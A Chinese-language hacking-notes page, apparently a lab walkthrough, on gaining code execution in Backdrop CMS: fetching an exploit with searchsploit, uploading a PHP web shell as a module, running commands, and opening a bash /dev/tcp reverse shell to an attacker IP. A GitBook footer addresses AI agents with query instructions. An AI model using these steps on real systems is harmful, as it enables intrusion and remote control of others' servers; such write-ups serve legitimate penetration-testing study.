> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/backdrop-cms-exploitation.md).

# Backdrop

## **Backdrop CMS RCE 利用**

使用发现的凭据登录 CMS。

<figure><img src="/files/5c766649981240cff6a1cf5a295f1d2734b23df5" alt=""><figcaption></figcaption></figure>

**漏洞研究**

使用 **searchsploit** 以识别 RCE 漏洞：

```bash
searchsploit -m php/webapps/52021.py
```

<figure><img src="/files/0dc4cdd724af50c4e3549f4dca81ce101e5fdb9d" alt=""><figcaption></figcaption></figure>

我们运行该漏洞利用：

```bash
python3 52021.py http://10.10.11.58
```

这会生成一个包含 PHP shell 的 ZIP 文件。

<figure><img src="/files/a7a2b71d18f9018957b346bcee2bb3e5bfdd3931" alt=""><figcaption></figcaption></figure>

将 shell 压缩为 **tar.gz**:

```bash
tar -czvf shell.tar.gz shell
```

<figure><img src="/files/4f13f1ecb96720c420fa36a5f1c2e015811ecf3a" alt=""><figcaption></figcaption></figure>

通过……上传它 **admin / installer / manual**.

<figure><img src="/files/754227a726490603fae49ae836f2aed509804239" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/7d5d3e0d5b47de9aa26cbbcef334af867b03228b" alt=""><figcaption></figcaption></figure>

**命令执行**

该 **modules/cmd/** 文件夹包含 **cmd.php**.

<figure><img src="/files/01ab5dc38cceb50ab50f9a1aa59a02998bfd4ff6" alt=""><figcaption></figcaption></figure>

这允许执行命令：

```bash
ifconfig 
```

<figure><img src="/files/8f21e196111f1b2cc135058837a7bc0be4670e5c" alt=""><figcaption></figcaption></figure>

### **Backdrop CMS 反向 Shell**

在 443 端口上打开监听器：

```bash
nc -nlvp 443 
```

注入有效载荷：

```bash
bash -c "bash -i >&/dev/tcp/10.10.14.81/443 0>&1"
```

<figure><img src="/files/f01f810f31902b195e3b2769df7acfee5532e1e9" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/cms/backdrop-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
